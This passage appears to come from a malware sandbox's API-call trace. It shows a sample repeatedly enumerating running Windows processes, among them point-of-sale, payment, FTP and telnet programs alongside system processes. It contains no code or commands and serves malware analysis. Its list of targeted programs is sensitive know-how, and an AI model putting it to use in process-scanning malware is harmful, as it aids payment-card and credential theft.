szExeFile="centralcreditcard.exe")) returned 1 [0242.132] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0242.135] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0242.137] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0242.140] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0242.143] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0242.146] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0242.149] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0242.151] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0242.154] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0242.157] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0242.160] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0242.165] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0242.168] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.170] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0242.173] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.176] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0242.179] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0242.181] CloseHandle (hObject=0x21ec) returned 1 [0242.181] Sleep (dwMilliseconds=0x64) [0242.184] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0242.241] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.250] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.252] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.255] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.257] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.260] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.263] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.265] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.268] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.271] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.274] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.276] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.279] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.281] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.284] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.286] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.290] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.293] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.296] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.298] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.301] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.304] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.306] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.309] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.311] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0242.314] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0242.316] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.319] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.321] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.324] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.327] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.329] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.332] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0242.334] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.337] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.339] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.342] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.344] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.347] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.350] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0242.384] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0242.386] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0242.391] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0242.394] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0242.396] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0242.399] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0242.402] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0242.404] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0242.407] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0242.410] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0242.412] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0242.415] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0242.417] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0242.420] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0242.423] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0242.425] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0242.428] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0242.430] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0242.434] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0242.437] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0242.441] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0242.444] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0242.447] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0242.450] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0242.453] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0242.457] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, 